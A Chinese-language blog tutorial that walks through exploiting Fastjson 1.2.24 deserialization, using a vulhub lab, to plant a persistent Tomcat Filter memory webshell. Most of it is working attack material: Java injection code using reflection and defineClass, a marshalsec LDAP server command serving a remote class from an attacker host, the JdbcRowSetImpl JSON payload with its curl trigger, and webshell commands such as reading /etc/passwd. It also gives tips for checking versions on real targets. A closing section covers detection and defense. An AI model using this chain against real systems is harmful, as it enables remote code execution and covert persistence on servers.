Fastjson 实战注入内存马

Fastjson 实战注入内存马

《Fastjson反序列化漏洞深度剖析》 讲了 AutoType 漏洞原理;《反序列化与 JNDI 无文件注入内存马》 讲了无文件注入的通用链路。这一篇把两者接起来,完整走一遍 Fastjson 1.2.24 → JNDI → 注入 Filter 内存马 → 命令回显的实战,并记录一个真实踩坑:为什么现成的 JNDIExploit 工具打不进去。

本质:Fastjson 解析 @type 时反射实例化 com.sun.rowset.JdbcRowSetImpl,setDataSourceName + setAutoCommit(true) 触发 JNDI lookup,从攻击者 LDAP/RMI 服务远程加载恶意类;恶意类无参构造方法里用无 request 反射链拿 StandardContext,defineClass 加载恶意 Filter 完成注入。


一、为什么用 vulhub 靶场反而打不进去

用现成的 JNDIExploit 或手写 payload 打 vulhub 的 fastjson 1.2.24 靶场,通常注入不成功。排查方法:进容器把 jar 拿出来看版本。

# 从运行中的容器拷贝出应用 jar
docker-compose cp web:/usr/src/fastjsondemo.jar fastjsondemo.jar

# 解压看 Tomcat 版本
unzip -l fastjsondemo.jar | grep -i tomcat

发现 vulhub 靶场用的是 Tomcat 9,而不是本机测试的 Tomcat 8。差异就出在《反序列化与 JNDI 无文件注入内存马》 第三节的兼容坑上:Tomcat 9 里 WebappClassLoaderBase.getResources() 已弃用,直接调用返回 null → NPE,注入类一进构造方法就崩。


二、恶意注入类设计

2.1 无 request 拿 StandardContext(Tomcat 9 兼容写法)

JNDI 加载的类只有构造方法 / static 块会被执行,没有 request。用线程上下文类加载器往下翻,并反射取 resources 字段(兼容 Tomcat 9,弃用的 getResources() 会返回 null):

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

2.2 defineClass 加载恶意 Filter

恶意 Filter(ShellFilter)不在目标 classpath,先本地用 javassist 转成 Base64,注入端 ClassLoader.defineClass 还原:

public Filter getFilter() throws Exception {
    String code = "yv66vgAA...";   // ShellFilter 字节码的 Base64(javassist 生成)
    byte[] bytes = Base64.getDecoder().decode(code);

    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    Method define = ClassLoader.class.getDeclaredMethod(
        "defineClass", byte[].class, int.class, int.class);
    define.setAccessible(true);
    Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
    return (Filter) clazz.getDeclaredConstructor().newInstance();
}

2.3 构造方法里完成注入

public class Inject {
    public Inject() throws Exception {        // ← JNDI 加载后自动执行
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }
}

版本注意:Tomcat 9 是 javax.servlet + tomcat-catalina 9.0.x;Tomcat 10+ 要换 jakarta.servlet。编译注入类时依赖的 tomcat-catalina 版本要与目标运行时一致(见《Fastjson反序列化漏洞深度剖析》的版本章节)。


三、攻击环境搭建

3.1 三步准备

# 1. HTTP 托管编译好的 Inject.class(注入类只有它自己能远程加载)
python3 -m http.server 80

# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer "http://攻击者IP/#Inject" 1389
#   (JDK 须用 8u191 之前版本启动 marshalsec 与靶场,见第四节)

# 3. 启动 vulhub fastjson 靶场
docker-compose up -d

3.2 触发 payload

Fastjson 1.2.24 的经典 JdbcRowSetImpl 链:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://攻击者IP:1389/Inject",
    "autoCommit": true
}
# 发送到靶场的反序列化接口
curl -X POST http://靶机IP:8080/ \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP:1389/Inject","autoCommit":true}'

触发链路:

Fastjson 解析 @type → Class.forName("JdbcRowSetImpl") → new 实例
  → setDataSourceName("ldap://.../Inject")
  → setAutoCommit(true) → 内部 connect()
  → JNDI lookup("ldap://攻击者:1389/Inject")
  → 恶意 LDAP 返回 Reference → 远程加载 Inject.class → new Inject()
  → 构造方法:defineClass(ShellFilter) + 注册 Filter → 内存马落地

3.3 验证

# 注入后任意请求带 cmd 即命令回显
curl "http://靶机IP:8080/?cmd=whoami"
curl "http://靶机IP:8080/?cmd=cat /etc/passwd"

四、版本与限制(为什么很多靶场打不通)

限制 版本边界 影响
JNDI 远程加载 codebase JDK 8u191+ 默认关闭(com.sun.jndi.ldap.object.trustURLCodebase=false) 高版本 JDK 下此链失效,需本地 Factory / 其他绕过
Fastjson AutoType 黑名单 1.2.25 起有黑名单,1.2.68 起 SafeMode 默认禁用 AutoType 低版本裸奔,高版本需 @type 绕过或白名单
Tomcat getResources() 弃用 Tomcat 9+ 注入类拿 context 的方式要改(第二节 2.1)

实战要点:vulhub 这类靶场通常是 JDK 8u62~8u181 + Fastjson 1.2.24(AutoType 全开、无黑名单),所以本链可通;真实目标要先确认 JDK 版本(-Djava.version 或 java -version)、Fastjson 版本(find . -name "fastjson*.jar")、Tomcat 版本,再决定链是否可行。


五、检测与防御

检测

  • 反序列化入口:审计是否存在对不可信 JSON 直接 JSON.parseObject 且未开 SafeMode;
  • JNDI 行为:RASP 监控 InitialContext.lookup 的参数是否来自外部输入;
  • 注册表:注入完成后,按《内存马检测与清除实操》 的 Filter 枚举方法检查 filterConfigs。

防御

层面 措施
Fastjson 升级到安全版本;开启 SafeMode(ParserConfig.getGlobalInstance().setSafeMode(true) 或 -Dfastjson.parser.safeMode=true)
JDK ≥ 8u191,关闭 JNDI 远程加载
RASP 监控 lookup / defineClass / addFilterDef 的调用栈
事前 修复反序列化入口本身(不可信输入不进 parse)

总结

这一篇把两条线接上了:

Fastjson AutoType(漏洞)
  → JdbcRowSetImpl 触发 JNDI lookup(入口)
  → 远程加载 Inject 类(无文件落地)
  → 构造方法:defineClass + 注册 Filter(内存马落地)
  → ?cmd=xxx 命令回显(持久化)

核心三点:

  1. Fastjson 只是”进入 JVM”的入口,真正干活的是 JNDI 远程加载的注入类——所以打好内存马,核心还是《反序列化与 JNDI 无文件注入内存马》 那套”无 request 拿 context + defineClass”;
  2. 版本是命门:JDK 8u191、Fastjson SafeMode、Tomcat 9 的 getResources(),任何一个没对齐都会失败;
  3. 防御的根仍是切断入口:升级 Fastjson + 开 SafeMode + 升级 JDK,比任何事后查杀都有效。
延伸阅读:《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《TomcatEcho 无 request 命令回显》 《内存马检测与清除实操》
改变就是好事。